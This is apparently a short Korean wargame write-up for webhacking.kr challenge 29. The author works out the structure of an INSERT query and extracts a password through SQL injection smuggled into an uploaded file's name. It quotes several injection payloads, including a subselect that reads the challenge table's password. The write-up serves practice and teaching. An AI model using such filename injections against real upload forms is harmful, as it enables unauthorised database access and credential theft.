webhacking.kr 29번
문제 첫화면 파일업로드를 이용해서 푸는 문제같다. 단 sql injection은 아닌거 같다.
파일을 올려보면 현재 시간(서버), 아이피, 올린파일순으로 저장되는걸 확인할수있고
서버에 업로드 하는것은 filename만 인것으로 보아 time(), $_SERVER['REMOTE_ADDR']를 서버 내에서 사용하는거 같다.
이로 유추해 봤을 때 db에 저장되는 query문으로
insert into table values(time(),$_SERVER['REMOTE_ADDR'],$file_name); 를 사용한 다는걸 유추할수있고,
db에 입력된 값을 select문을 이용해서 뿌려준다는걸 예측 할 수 있다.
그래서
a'),('a','0x~~~~~)','asdf'))로 file name에 집어넣었고
insert into table values(time(),$_SERVER['REMOTE_ADDR'],a'),('a','0x~~~~~','asdf')) 해당쿼리는 이렇게 들어갈 것이다 --query error
그래서 조금 더 검색을 해 본결과
insert into table values(time(),$_SERVER['REMOTE_ADDR'],$file_name); 무조건 저렇게 입력값이 들어간다는 법은 없을것이다
a'),(0x~~~~~,'1','1')-- ex) ip가 첫번째에 있을경우 //query error
계속해서 쿼리를 입력하다 보니 $file_name이 첫번째에 들어갈수도 있을거 같았다.
qawea','11',0x~~~~))-- done
여기서 결론
insert into table values($file_name,time(),$_SERVER['REMOTE_ADDR']);
그래서
a',(select password from c29_tb),0x~~~~#
성공
개인적으로 지금까지 풀었던 문제중 가장 까다라운 문제
ip가 다르다면 그 동안 db에 넣었던게 안보여지기도 하고 삽질을 엄청많이했다.